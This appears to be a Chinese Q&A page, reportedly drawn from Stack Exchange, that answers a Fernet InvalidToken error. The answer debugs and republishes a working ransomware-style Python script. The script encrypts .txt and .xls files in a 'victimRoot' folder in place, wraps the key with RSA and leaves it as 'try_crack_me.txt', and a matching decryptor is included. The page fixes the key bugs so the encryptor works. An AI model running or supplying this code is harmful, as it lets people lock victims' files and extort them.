Python3使用fernet模块解密时报cryptography.fernet.InvalidToken错误求助
问题原因及修复方案
报错cryptography.fernet.InvalidToken的核心原因是加密文件使用的Fernet密钥,和解密时使用的密钥完全不匹配,同时存在逻辑错误和判断错误,具体问题和修复步骤如下:
核心问题1:加密逻辑密钥混乱
文件2的Encryption类存在两处密钥不匹配的问题:
- 在
fernetkey方法中,先调用Fernet.generate_key()生成了临时密钥A,用A初始化了加密用的crypter实例,紧接着又读取本地fernetkey.txt的旧密钥B覆盖了self.fernet_key变量。实际加密文件用的是密钥A,但你全程没有保存A,后续存储的都是不匹配的密钥B。 - 在
encrypt_key方法中,又再次调用Fernet.generate_key()生成了临时密钥C,随后又读取fernetkey.txt的旧密钥B,最后加密存储到try_crack_me.txt的是密钥B,和加密文件用的密钥A完全不匹配。
问题2:解密类逻辑错误
文件4的Decryption类存在两处低级错误:
- 遍历文件的方法逻辑写反:
if not file.split('.')[-1] in self.file_ex代表不在目标后缀列表里的未加密文件才会走解密逻辑,对未加密内容调用Fernet解密必然报错。 - 方法命名混乱,遍历解密的方法被命名为
encrypt_system,容易产生逻辑混淆。
修复代码
修复后的文件2(加密数据)
from cryptography.fernet import Fernet from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP import os class Encryption: file_ex = [ 'txt', 'xls' ] def __init__(self): self.sysRoot = os.path.expanduser('~') self.victimRoot = r'C:/Users/Veronika/Desktop/Easy_Example/Folder/victimRoot' def load_fernetkey(self): # 直接读取文件1生成的固定密钥,不重复生成随机密钥 with open('fernetkey.txt', 'rb') as f: self.fernet_key = f.read() self.crypter = Fernet(self.fernet_key) def encrypt_system(self): system = os.walk(self.victimRoot, topdown=True) for root, dirs, files in system: for file in files: file_path = os.path.join(root, file) if file.split('.')[-1] not in self.file_ex: continue self.encrypt_files(file_path) def encrypt_files(self, file_path): with open(file_path, 'rb') as f: data = f.read() _data = self.crypter.encrypt(data) print(f'{file_path} 加密完成') with open(file_path, 'wb') as fp: fp.write(_data) def encrypt_key(self): self.public_key = RSA.import_key(open('publickey.pem', 'rb').read()) self.public_crypter = PKCS1_OAEP.new(self.public_key) # 直接用加密文件的同一密钥加密存储,不重新读取或生成新密钥 enc_fernet_key = self.public_crypter.encrypt(self.fernet_key) with open(f'{self.sysRoot}/Desktop/try_crack_me.txt', 'wb') as ef: ef.write(enc_fernet_key) def main(): rw = Encryption() rw.load_fernetkey() rw.encrypt_system() rw.encrypt_key() if __name__ == '__main__': main()
修复后的文件4(解密数据)
from cryptography.fernet import Fernet import os class Decryption: file_ex = [ 'txt', 'xls' ] def __init__(self): self.sysRoot = os.path.expanduser('~') self.victimRoot = r'C:/Users/Veronika/Desktop/Easy_Example/Folder/victimRoot' def load_decrypt_key(self): print('正在加载解密密钥') with open('decrypt_with_me.txt', 'rb') as f: self.fernet_key = f.read() self.crypter = Fernet(self.fernet_key) def decrypt_system(self): system = os.walk(self.victimRoot, topdown=True) for root, dirs, files in system: for file in files: file_path = os.path.join(root, file) # 仅解密目标后缀的加密文件 if file.split('.')[-1] in self.file_ex: self.decrypt_files(file_path) def decrypt_files(self, file_path): with open(file_path, 'rb') as f: encrypted_data = f.read() new_data = self.crypter.decrypt(encrypted_data) with open(file_path, 'wb') as f: f.write(new_data) print(f'{file_path} 解密完成') def main(): rw = Decryption() rw.load_decrypt_key() rw.decrypt_system() if __name__ == '__main__': main()
验证步骤
- 重新运行文件1生成全新的密钥对和Fernet密钥
- 运行修复后的文件2加密目标文件
- 运行文件3解密得到Fernet密钥存入
decrypt_with_me.txt - 运行修复后的文件4即可正常解密文件
内容的提问来源于stack exchange,提问作者Veronika Jalen
相关产品推荐
相关产品推荐

